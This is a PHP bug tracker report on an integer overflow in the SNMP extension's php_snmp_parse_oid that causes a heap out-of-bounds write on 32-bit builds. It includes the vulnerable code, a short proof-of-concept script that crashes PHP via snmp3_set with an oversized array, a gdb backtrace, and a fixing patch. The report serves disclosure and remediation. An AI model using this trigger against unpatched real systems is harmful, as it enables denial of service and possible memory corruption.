|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-07-29 17:34 UTC] djodjo at gmail dot com
Description:
------------
In the php_snmp_parse_oid function, when the oid argument is an array, an integer overflow is exploitable to trigger an out-of-bounds write on an allocated buffer. This is only exploitable on 32 bits installations.
The size of this buffer is the result of the multiplication of the number of elements in oid with sizeof(snmpobjarg), which is 528 on my 32 bits system:
1006 } else if (Z_TYPE_P(oid) == IS_ARRAY) { /* we got objid array */
...
1011 objid_query->vars = (snmpobjarg *)emalloc(sizeof(snmpobjarg) * zend_hash_num_elements(Z_ARRVAL_P(oid)));
By providing an array of 8,134,408 elements, the multiplication overflows and only 128 bytes are allocated. The code then loops over all elements of oid, and writes to the buffer:
1018 ZEND_HASH_FOREACH_VAL(Z_ARRVAL_P(oid), tmp_oid) {
1019 convert_to_string_ex(tmp_oid);
1020 objid_query->vars[objid_query->count].oid = Z_STRVAL_P(tmp_oid);
...
1071 objid_query->count++;
1072 } ZEND_HASH_FOREACH_END();
This code will write past the end of the allocated buffer (test script and backtrace provided below).
Test script:
---------------
<?php
ini_set('memory_limit', '512M');
$arr = array();
for ($i = 0; $i < 8134408; $i++)
{
$arr[$i] = $i;
}
snmp3_set("", "", "", "", "", "", "", $arr, "", "");
Expected result:
----------------
Error in allocation:
Fatal error: Possible integer overflow in memory allocation (8134408 * 528 + 0) in snmpset.php on line 9
Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
php_snmp_parse_oid (value=0xb74131c0, type=0xb74131b0, oid=<optimized out>, objid_query=0xbfffbc7c, st=4, object=0x0) at ext/snmp/snmp.c:1023
1023 objid_query->vars[objid_query->count].oid = Z_STRVAL_P(tmp_oid);
(gdb) bt
#0 php_snmp_parse_oid (value=0xb74131c0, type=0xb74131b0, oid=<optimized out>, objid_query=0xbfffbc7c, st=4, object=0x0) at ext/snmp/snmp.c:1023
#1 php_snmp (execute_data=0xb7413100, return_value=0xb74130f0, st=4, version=3) at ext/snmp/snmp.c:1494
#2 0x0835bd5d in ZEND_DO_ICALL_SPEC_HANDLER () at Zend/zend_vm_execute.h:586
#3 0x0834e75a in execute_ex (ex=0xb7413020) at Zend/zend_vm_execute.h:414
#4 0x0839413d in zend_execute (op_array=op_array@entry=0xb74661e0, return_value=return_value@entry=0x0) at Zend/zend_vm_execute.h:458
#5 0x08315570 in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at Zend/zend.c:1427
#6 0x082b99db in php_execute_script (primary_file=primary_file@entry=0xbfffdfa8) at main/main.c:2494
#7 0x08395e8a in do_cli (argc=argc@entry=2, argv=argv@entry=0x88a9ec0) at sapi/cli/php_cli.c:974
#8 0x080707ed in main (argc=2, argv=0x88a9ec0) at sapi/cli/php_cli.c:1344
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Oct 25 01:00:01 2025 UTC |
It seems I cannot add a patch file as the bug is private, so here it is: diff --git a/ext/snmp/snmp.c b/ext/snmp/snmp.c index b32b845..c4e9279 100644 --- a/ext/snmp/snmp.c +++ b/ext/snmp/snmp.c @@ -1008,7 +1008,7 @@ static int php_snmp_parse_oid(zval *object, int st, struct objid_query *objid_qu php_error_docref(NULL, E_WARNING, "Got empty OID array"); return FALSE; } - objid_query->vars = (snmpobjarg *)emalloc(sizeof(snmpobjarg) * zend_hash_num_elements(Z_ARRVAL_P(oid))); + objid_query->vars = (snmpobjarg *)safe_emalloc(zend_hash_num_elements(Z_ARRVAL_P(oid)), sizeof(snmpobjarg), 0); if (objid_query->vars == NULL) { php_error_docref(NULL, E_WARNING, "emalloc() failed while parsing oid array: %s", strerror(errno)); efree(objid_query->vars);